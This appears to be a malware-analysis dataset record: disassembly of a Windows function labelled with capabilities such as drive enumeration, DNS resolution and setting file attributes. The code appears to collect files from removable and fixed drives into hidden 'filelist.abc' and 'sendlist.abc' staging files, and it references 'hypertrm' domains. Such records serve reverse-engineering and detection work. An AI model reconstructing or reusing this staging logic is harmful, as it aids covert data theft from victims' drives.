Function at 0x1006b510
Capabilities:
Check if file exists
Copy file
Create directory
Get common file path
Get disk information
Get file attributes
Read file on windows
Resolve dns
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10098ff6
mov eax, dword fs:[0]
push eax
mov eax, 0x1990
call fcn.1008ba80
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x198c], edx
mov edi, dword [ebp + 0x10]
xor eax, eax
mov ebx, dword [ebp + 0xc]
push eax
push eax
mov dword [ebp - 0x1974], edi
mov dword [ebp - 0x197c], eax
mov dword [ebp - 0x1970], eax
mov dword [ebp - 0x18d8], eax
mov dword [ebp - 0x18d4], eax
call fcn.1006f5d0
mov dword [ebp - 0x18d8], eax
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0x1668], 7
mov dword [ebp - 0x166c], 0
mov word [ebp - 0x167c], ax
push 0x100
lea eax, [ebp - 0x41c]
mov byte [ebp - 4], 1
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea ecx, [ebp - 0x41c]
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1006b5c0
sub ecx, edx
sar ecx, 1
je 0x1006b5ea
cmp word [ebp + ecx*2 - 0x41e], 0x5c
je 0x1006b5ea
mov eax, 0x5c
mov word [ebp + ecx*2 - 0x41c], ax
inc ecx
add ecx, ecx
cmp ecx, 0x200
jae 0x1006be35
xor eax, eax
mov word [ebp + ecx - 0x41c], ax
xor ecx, ecx
jmp 0x1006b610
movzx eax, word [ecx + 0x100c6a8c]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x1e], ax
test ax, ax
jne 0x1006b610
mov eax, 0x43
mov word [ebp - 0x1c], ax
lea ecx, [ecx]
movzx eax, ax
xor esi, esi
sub eax, 0x41
mov dword [ebp - 0x1978], eax
lea eax, [ebp - 0x21c]
push 0x100
push eax
lea eax, [ebp - 0x1994]
push eax
lea eax, [ebp - 0x199c]
push eax
lea eax, [ebp - 0x1998]
push eax
push 0x101
lea eax, [ebp - 0x161c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x1006b69a
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
jb 0x1006b69a
cmp eax, 3
jbe 0x1006b8cd
cmp eax, 5
je 0x1006b8d8
mov eax, dword [ebp - 0x1978]
cmp word [eax*2 + 0x100e2ed0], si
je 0x1006b78a
mov eax, dword [0x100e3b2c]
test eax, eax
je 0x1006b6c5
dec eax
mov dword [0x100e3b2c], eax
test eax, eax
jne 0x1006b77a
lea edx, [ebp - 0x21c]
mov ecx, ebx
sub edx, ebx
nop
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x1006b6d0
mov ecx, str.hypertrm.org
lea eax, [edi + edi]
sub eax, ecx
lea edx, [ebp - 0x21c]
add edx, eax
movzx eax, word [ecx]
mov word [edx + ecx], ax
add ecx, 2
test ax, ax
jne 0x1006b6f2
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x1988], esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1006b74d
push 0
lea eax, [ebp - 0x1990]
push eax
push 4
lea eax, [ebp - 0x1988]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 1
push ecx
mov ecx, dword [0x100e3ba8]
mov edx, edi
mov eax, ecx
and ecx, 1
shr eax, 1
and eax, 1
push eax
push ecx
push dword [ebp - 0x1988]
lea ecx, [ebp - 0x21c]
call fcn.10066450
add esp, 0x18
mov eax, dword [ebp - 0x1978]
xor ecx, ecx
mov word [eax*2 + 0x100e2ed0], cx
mov ax, word [ebp - 0x1c]
inc ax
mov word [ebp - 0x1c], ax
cmp ax, 0x5a
jb 0x1006b630
mov eax, dword [ebp - 0x197c]
test eax, eax
je 0x1006b85c
lea ecx, [ebp - 0x21c]
sub ecx, ebx
movzx eax, word [ebx]
lea ebx, [ebx + 2]
mov word [ecx + ebx - 2], ax
test ax, ax
jne 0x1006b7b4
lea eax, [edi*2 - 2]
cmp eax, 0x200
jae 0x1006be35
xor ecx, ecx
mov word [ebp + eax - 0x21c], cx
lea eax, [ebp - 0x21c]
push 0x5c
push eax
call fcn.1007b43d
mov edx, eax
add esp, 8
test edx, edx
je 0x1006b80f
mov ecx, str.filelist.abc
sub edx, ecx
mov edi, edi
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx], ax
test ax, ax
jne 0x1006b800
push 0x100e3be0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea edx, [ebp - 0x21c]
lea ecx, [ebp - 0x141c]
call fcn.10068d50
push 0
lea eax, [ebp - 0x141c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea edx, [ebp - 0x21c]
mov ecx, 0x100e3b0c
call fcn.10069280
push 0x100e3be0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp dword [ebp - 0x1668], 8
mov esi, dword [ebp - 0x1970]
jb 0x1006b879
push dword [ebp - 0x167c]
call fcn.1007b706
add esp, 4
xor eax, eax
mov dword [ebp - 0x1668], 7
lea ecx, [ebp - 0x18d8]
mov dword [ebp - 0x166c], 0
mov word [ebp - 0x167c], ax
call fcn.1006ef00
push dword [ebp - 0x18d8]
call fcn.1007b706
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1007a730
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 8], esi
mov eax, 1
cmovne esi, eax
mov eax, dword [ebp - 0x1978]
cmp word [eax*2 + 0x100e2ed0], 0
jne 0x1006be1e
test esi, esi
je 0x1006bbc4
xor ecx, ecx
jmp 0x1006b900
movzx eax, word [ebp + ecx - 0x1c]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x21e], ax
test ax, ax
jne 0x1006b900
xor ecx, ecx
jmp 0x1006b920
movzx eax, word [ecx + str.hypertrm.com]
mov word [ebp + ecx - 0x216], ax
add ecx, 2
test ax, ax
jne 0x1006b920
mov eax, dword [0x100e3bd8]
xor esi, esi
cmp byte [eax], 0
je 0x1006b955
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x1006b955
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov esi, dword [eax]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1006b9a9
test esi, esi
je 0x1006b989
cmp esi, dword [0x100e3bdc]
jne 0x1006b989
push ecx
mov edx, 3
lea ecx, [ebp - 0x21c]
call fcn.100674d0
add esp, 4
jmp 0x1006b9a9
push dword [0x100e3bb4]
mov edx, dword [0x100e3b30]
push dword [0x100e3bb0]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
call fcn.10067a20
add esp, 0x10
xor esi, esi
xor ecx, ecx
lea ecx, [ecx]
movzx eax, word [ecx + str.49BA59ABBE56E057_]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x218], ax
test ax, ax
jne 0x1006b9b0
lea ecx, [ebp - 0x216]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1006b9d0
sub ecx, edx
sar ecx, 1
lea edi, [ecx + 3]
cmp dword [0x100e3b28], esi
jne 0x1006ba77
xorps xmm0, xmm0
lea edx, [ebp - 0x1984]
lea ecx, [ebp - 0xc1c]
movlpd qword [ebp - 0x1984], xmm0
call fcn.10069eb0
test eax, eax
je 0x1006ba77
lea edx, [ebp - 0xc1c]
mov ecx, ebx
sub edx, ebx
jmp 0x1006ba20
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x1006ba20
push 0x100e3c10
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push dword [ebp - 0x1974]
lea eax, [ebp - 0xc1c]
mov ecx, 0x100e3b14
push eax
push edi
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x1984]
push eax
lea edx, [ebp - 0x18cc]
call fcn.10069f40
add esp, 0x14
mov esi, eax
push 0x100e3c10
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp dword [0x100e3b28], 0xa
jbe 0x1006bafd
movzx edx, word [0x100e3b7e]
lea eax, [ebp - 0x1984]
xorps xmm0, xmm0
lea ecx, [ebp - 0x1c]
push eax
movlpd qword [ebp - 0x1984], xmm0
call fcn.10069df0
add esp, 4
test eax, eax
je 0x1006bafd
push 0
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x1006baca
push 6
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x100e3c10
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x21c]
mov ecx, 0x100e3b14
push edi
push eax
lea edx, [ebp - 0x1984]
call fcn.1006a290
add esp, 8
mov esi, eax
push 0x100e3c10
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
je 0x1006bbbe
lea edx, [ebp - 0x21c]
mov ecx, ebx
sub edx, ebx
nop
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x1006bb10
mov edi, dword [ebp - 0x1974]
lea eax, [edi*2 - 2]
cmp eax, 0x200
jae 0x1006be35
xor ecx, ecx
mov word [ebp + eax - 0x21c], cx
lea eax, [ebp - 0x21c]
push 0x5c
push eax
call fcn.1007b43d
mov edx, eax
add esp, 8
test edx, edx
je 0x1006bb6f
mov ecx, str.sendlist.abc
sub edx, ecx
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx], ax
test ax, ax
jne 0x1006bb60
push 0x100e3c10
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea edx, [ebp - 0x21c]
lea ecx, [ebp - 0x141c]
call fcn.10068d50
push 0
lea eax, [ebp - 0x141c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea edx, [ebp - 0x21c]
mov ecx, 0x100e3b14
call fcn.10069950
push 0x100e3c10
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1006bbc4
mov edi, dword [ebp - 0x1974]
lea edx, [ebp - 0x21c]
mov ecx, ebx
sub edx, ebx
mov edi, edi
movzx eax, word [ecx]
mov word [edx + ecx], ax
add ecx, 2
test ax, ax
jne 0x1006bbd0
mov eax, dword [0x100e3b2c]
inc eax
mov dword [0x100e3b2c], eax
cmp eax, 1
jne 0x1006bc1b
call fcn.10065f60
push 0
push 0
push ecx
call fcn.10066140
push eax
call fcn.100660a0
push eax
push dword [0x100e3ba8]
mov edx, edi
lea ecx, [ebp - 0x21c]
call fcn.10066450
add esp, 0x18
push dword [0x100e3b5c]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ebp + ecx - 0x1c]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0xc1e], ax
test ax, ax
jne 0x1006bc30
lea ecx, [ebp - 0xc1c]
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1006bc50
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x1950], edi
mov dword [ebp - 0x1954], eax
sub ecx, edx
mov edx, dword [ebp - 0x198c]
lea eax, [ebp - 0x41c]
push eax
push ebx
sar ecx, 1
lea eax, [ebp - 0xc1c]
push ecx
push eax
lea eax, [ebp - 0x18cc]
mov dword [ebp - 0x194c], 0xffffffff
push eax
push 0
push 1
lea eax, [ebp - 0x1970]
mov dword [ebp - 0x1948], 0
push eax
lea eax, [ebp - 0x196c]
mov ecx, 0x100e2ed0
push eax
call fcn.1006ad00
add dword [ebp - 0x197c], eax
lea ecx, [ebp - 0x196c]
add esp, 0x24
call fcn.1006a7a0
test eax, eax
je 0x1006bdfc
xor esi, esi
lea edi, [ebp - 0x1664]
movzx eax, byte [ebp + esi - 0x18ec]
push eax
push str._02x
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
inc esi
add esp, 0xc
add edi, 4
cmp esi, 0x10
jl 0x1006bce2
mov edx, dword [ebp - 0x1954]
cmp word [edx], 0
jne 0x1006bd13
xor ecx, ecx
jmp 0x1006bd2f
mov ecx, edx
lea esi, [ecx + 2]
jmp 0x1006bd20
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1006bd20
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x167c]
call fcn.10063b40
mov edi, dword [ebp - 0x1974]
lea eax, [edi*2 - 2]
cmp eax, 0x200
jae 0x1006be35
xor ecx, ecx
mov word [ebp + eax - 0x21c], cx
lea eax, [ebp - 0x21c]
push 0x5c
push eax
call fcn.1007b43d
mov edx, eax
add esp, 8
test edx, edx
je 0x1006bd8f
mov ecx, str.sendlist.abc
sub edx, ecx
lea esp, [esp]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx], ax
test ax, ax
jne 0x1006bd80
push 0x100e3c10
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x167c]
mov ecx, 0x100e3b14
push eax
call fcn.1006efe0
lea edx, [ebp - 0x21c]
lea ecx, [ebp - 0x141c]
call fcn.10068d50
push 0
lea eax, [ebp - 0x141c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea edx, [ebp - 0x21c]
mov ecx, 0x100e3b14
call fcn.10069950
push 0x100e3c10
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 0x1970]
inc eax
mov dword [ebp - 0x1970], eax
jmp 0x1006be02
mov eax, dword [ebp - 0x1970]
test eax, eax
je 0x1006be12
push dword [0x100e3b64]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push dword [0x100e3b5c]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [ebp - 0x1978]
mov ax, word [ebp - 0x1c]
mov word [ecx*2 + 0x100e2ed0], ax
jmp 0x1006b78e
call fcn.1007b843
int3